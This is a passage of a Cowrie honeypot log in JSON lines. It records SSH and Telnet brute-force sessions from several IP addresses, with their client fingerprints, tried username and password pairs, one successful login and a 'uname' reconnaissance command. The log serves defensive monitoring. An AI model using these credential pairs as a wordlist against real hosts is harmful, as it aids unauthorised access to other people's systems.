a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:42.170254Z","src_ip":"165.154.137.186","session":"07a2f8e0456b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:42.947889Z","src_ip":"165.154.137.186","session":"07a2f8e0456b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:44.210996Z","src_ip":"165.154.137.186","session":"07a2f8e0456b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7cd8da4069","protocol":"ssh","message":"New connection: 165.154.137.186:36956 (10.17.0.5:22) [session: 5e7cd8da4069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:46.608727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:46.612468Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:46.887411Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:47.707410Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:48.288728Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:48.291323Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:48.567065Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:48.571500Z","src_ip":"165.154.137.186","session":"5e7cd8da4069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48792,"dst_ip":"10.17.0.5","dst_port":22,"session":"368e62db81c8","protocol":"ssh","message":"New connection: 165.154.137.186:48792 (10.17.0.5:22) [session: 368e62db81c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:54.078681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:54.082194Z","src_ip":"165.154.137.186","session":"368e62db81c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:54.341306Z","src_ip":"165.154.137.186","session":"368e62db81c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:55.273466Z","src_ip":"165.154.137.186","session":"368e62db81c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":33778,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee38ce22715","protocol":"ssh","message":"New connection: 192.169.197.250:33778 (159.203.135.109:22) [session: cee38ce22715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:55.554364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:55.560069Z","src_ip":"192.169.197.250","session":"cee38ce22715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:55.625523Z","src_ip":"192.169.197.250","session":"cee38ce22715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AVAX#Tr0ng!P@ss","message":"login attempt [root/AVAX#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:55.821205Z","src_ip":"192.169.197.250","session":"cee38ce22715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:56.535121Z","src_ip":"165.154.137.186","session":"368e62db81c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:56.887541Z","src_ip":"192.169.197.250","session":"cee38ce22715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46066,"dst_ip":"159.203.135.109","dst_port":23,"session":"d66216dd9a13","protocol":"telnet","message":"New connection: 170.64.224.25:46066 (159.203.135.109:23) [session: d66216dd9a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:54:58.662610Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6bc4b882889","protocol":"ssh","message":"New connection: 165.154.137.186:48410 (10.17.0.5:22) [session: b6bc4b882889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:01.614906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:01.725918Z","src_ip":"165.154.137.186","session":"b6bc4b882889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:01.963739Z","src_ip":"165.154.137.186","session":"b6bc4b882889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:02.956120Z","src_ip":"165.154.137.186","session":"b6bc4b882889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:04.235942Z","src_ip":"165.154.137.186","session":"b6bc4b882889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48782,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fe7b4f82b8","protocol":"ssh","message":"New connection: 165.154.137.186:48782 (10.17.0.5:22) [session: 33fe7b4f82b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:05.706359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:05.710426Z","src_ip":"165.154.137.186","session":"33fe7b4f82b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:05.975182Z","src_ip":"165.154.137.186","session":"33fe7b4f82b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48416,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f18a47f2f25","protocol":"ssh","message":"New connection: 165.154.137.186:48416 (10.17.0.5:22) [session: 9f18a47f2f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:06.531688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:06.545738Z","src_ip":"165.154.137.186","session":"9f18a47f2f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:06.805854Z","src_ip":"165.154.137.186","session":"33fe7b4f82b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:06.822753Z","src_ip":"165.154.137.186","session":"9f18a47f2f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:07.917001Z","src_ip":"165.154.137.186","session":"9f18a47f2f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:08.102039Z","src_ip":"165.154.137.186","session":"33fe7b4f82b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":55468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04b8114e2d7","protocol":"ssh","message":"New connection: 2.57.122.209:55468 (10.17.0.5:22) [session: d04b8114e2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.160507Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.199506Z","src_ip":"165.154.137.186","session":"9f18a47f2f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48426,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af7349098e0","protocol":"ssh","message":"New connection: 165.154.137.186:48426 (10.17.0.5:22) [session: 8af7349098e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.273660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.277848Z","src_ip":"165.154.137.186","session":"8af7349098e0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.525771Z","src_ip":"2.57.122.209","session":"d04b8114e2d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.528904Z","src_ip":"2.57.122.209","session":"d04b8114e2d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 